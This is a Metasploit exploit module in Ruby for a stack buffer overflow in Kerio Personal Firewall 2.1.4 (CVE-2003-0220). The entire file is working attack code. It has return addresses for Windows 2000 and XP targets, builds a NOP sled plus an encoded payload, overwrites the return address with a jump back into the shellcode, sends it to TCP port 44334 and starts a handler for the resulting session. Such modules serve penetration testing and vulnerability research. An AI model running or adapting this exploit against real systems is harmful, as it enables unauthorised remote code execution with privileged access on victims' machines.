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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Kerio Firewall 2.1.4 Authentication Packet Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in Kerio Personal Firewall
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          administration authentication process. This module has only been tested
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          against Kerio Personal Firewall 2 (2.1.4).
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        },
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        'Author' => 'MC',
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['CVE', '2003-0220'],
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          ['OSVDB', '6294'],
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          ['BID', '7180']
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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        },
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        'Payload' => {
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          'Space' => 800,
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          'BadChars' => "\x00",
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          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
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          [ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e3171b } ],
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          [ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ],
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        ],
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        'Privileged' => true,
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        'DisclosureDate' => '2003-04-28',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(44334)
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      ]
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    )
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  end
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  def exploit
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    connect
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    print_status("Trying target #{target.name}...")
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    sploit = make_nops(4468) + payload.encoded
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    sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV')
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    sock.put(sploit)
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    sock.get_once(-1, 3)
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    handler
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    disconnect
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  end
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end
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